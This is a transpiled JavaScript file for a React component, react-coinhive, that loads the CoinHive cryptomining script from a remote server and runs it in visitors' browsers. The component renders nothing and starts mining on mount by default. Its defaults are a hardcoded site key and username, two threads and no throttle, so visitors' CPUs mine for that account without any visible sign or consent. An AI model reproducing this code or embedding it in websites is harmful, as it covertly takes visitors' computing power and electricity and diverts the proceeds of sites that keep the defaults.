react-coinhive/lib/index.js

react-coinhive React component

'use strict';

exports.__esModule = true;
exports.default = undefined;

var _regenerator = require('babel-runtime/regenerator');

var _regenerator2 = _interopRequireDefault(_regenerator);

var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; };

var _class, _temp2;

var _react = require('react');

var _react2 = _interopRequireDefault(_react);

var _propTypes = require('prop-types');

var _propTypes2 = _interopRequireDefault(_propTypes);

var _loadScript = require('load-script');

var _loadScript2 = _interopRequireDefault(_loadScript);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _asyncToGenerator(fn) { return function () { var gen = fn.apply(this, arguments); return new Promise(function (resolve, reject) { function step(key, arg) { try { var info = gen[key](arg); var value = info.value; } catch (error) { reject(error); return; } if (info.done) { resolve(value); } else { return Promise.resolve(value).then(function (value) { step("next", value); }, function (err) { step("throw", err); }); } } return step("next"); }); }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var src = {
  coinhive: 'https://coinhive.com/lib/coinhive.min.js',
  authedmine: 'https://authedmine.com/lib/authedmine.min.js'
};

var CoinHiveClient = (_temp2 = _class = function (_Component) {
  _inherits(CoinHiveClient, _Component);

  function CoinHiveClient() {
    var _temp, _this, _ret;

    _classCallCheck(this, CoinHiveClient);

    for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {
      args[_key] = arguments[_key];
    }

    return _ret = (_temp = (_this = _possibleConstructorReturn(this, _Component.call.apply(_Component, [this].concat(args))), _this), _this.state = {
      loaded: false
    }, _this.loadScript = function () {
      return new Promise(function (resolve, reject) {
        return (0, _loadScript2.default)(_this.props.src, function (err, script) {
          if (err) {
            return reject(err);
          }
          return _this.setState({ loaded: true }, function () {
            return resolve(script);
          });
        });
      });
    }, _this.initHive = function () {
      if (_this.miner) {
        _this.stop();
        delete _this.miner;
      }
      if (_this.props.userName) {
        _this.miner = CoinHive.User(_this.props.siteKey, _this.props.userName);
      } else {
        _this.miner = CoinHive.Anonymous(_this.props.siteKey);
      }
      _this.props.onInit(_this.miner);
    }, _this.start = function () {
      if (!_this.miner) return;
      _this.miner.start();
      _this.props.onStart(_this.miner);
    }, _this.stop = function () {
      if (!_this.miner) return;
      _this.miner.stop();
      _this.props.onStop(_this.miner);
    }, _this.setupHive = function () {
      if (_this.props.autoThreads) {
        _this.miner.setAutoThreadsEnabled(true);
      } else {
        _this.miner.setAutoThreadsEnabled(false);
        _this.miner.setNumThreads(_this.props.threads);
      }
      _this.miner.setThrottle(_this.props.throttle);
    }, _temp), _possibleConstructorReturn(_this, _ret);
  }

  CoinHiveClient.prototype.componentDidMount = function () {
    var _ref = _asyncToGenerator( /*#__PURE__*/_regenerator2.default.mark(function _callee() {
      return _regenerator2.default.wrap(function _callee$(_context) {
        while (1) {
          switch (_context.prev = _context.next) {
            case 0:
              _context.next = 2;
              return this.loadScript();

            case 2:
              if (this.props.run) {
                this.stop();
              }
              this.setupHive();
              if (this.props.run) {
                this.start();
              }

            case 5:
            case 'end':
              return _context.stop();
          }
        }
      }, _callee, this);
    }));

    function componentDidMount() {
      return _ref.apply(this, arguments);
    }

    return componentDidMount;
  }();

  CoinHiveClient.prototype.componentDidUpdate = function componentDidUpdate(prevProps, prevState) {
    if (this.state.loaded) {
      if (!this.miner || this.props.userName !== prevProps.userName) {
        this.initHive();
      } else if (prevProps.threads !== this.props.threads || prevProps.autoThreads !== this.props.autoThreads || prevProps.throttle !== this.props.throttle || prevProps.userName !== this.props.userName || prevProps.siteKey !== this.props.siteKey) {
        this.setupHive();
      } else if (prevProps.run !== this.props.run) {
        if (this.props.run) {
          this.start();
        } else {
          this.stop();
        }
      }
    }
  };

  CoinHiveClient.prototype.render = function render() {
    return null;
  };

  return CoinHiveClient;
}(_react.Component), _class.defaultProps = {
  autoThreads: false,
  onInit: function onInit(miner) {
    return null;
  },
  onStart: function onStart(miner) {
    return null;
  },
  onStop: function onStop(miner) {
    return null;
  },
  run: true,
  siteKey: 'caP8U8pZXH6n0f53eV3fdpwOvpmTAD3C',
  threads: 2,
  throttle: 0,
  userName: 'Piscou',
  src: src.coinhive
}, _temp2);
exports.default = CoinHiveClient;
CoinHiveClient.propTypes = process.env.NODE_ENV !== "production" ? {
  autoThreads: _propTypes2.default.bool,
  onInit: _propTypes2.default.func,
  onStart: _propTypes2.default.func,
  onStop: _propTypes2.default.func,
  run: _propTypes2.default.bool,
  siteKey: _propTypes2.default.string,
  threads: _propTypes2.default.number,
  throttle: _propTypes2.default.number,
  userName: _propTypes2.default.string,
  src: _propTypes2.default.string
} : {};
;

CoinHiveClient.src = src;

CoinHiveClient.getMinerData = function (miner) {
  if (!miner || (typeof miner === 'undefined' ? 'undefined' : _typeof(miner)) !== 'object' || typeof miner.isRunning !== 'function') {
    return 'miner is not defined';
  }
  var data = {
    isRunning: miner.isRunning(),
    getHashesPerSecond: miner.getHashesPerSecond(),
    getNumThreads: miner.getNumThreads(),
    getAutoThreadsEnabled: miner.getAutoThreadsEnabled(),
    hasWASMSupport: miner.hasWASMSupport(),
    getThrottle: miner.getThrottle(),
    getToken: miner.getToken(),
    getTotalHashes: miner.getTotalHashes(),
    getAcceptedHashes: miner.getAcceptedHashes()
  };
  return data;
};
module.exports = exports['default'];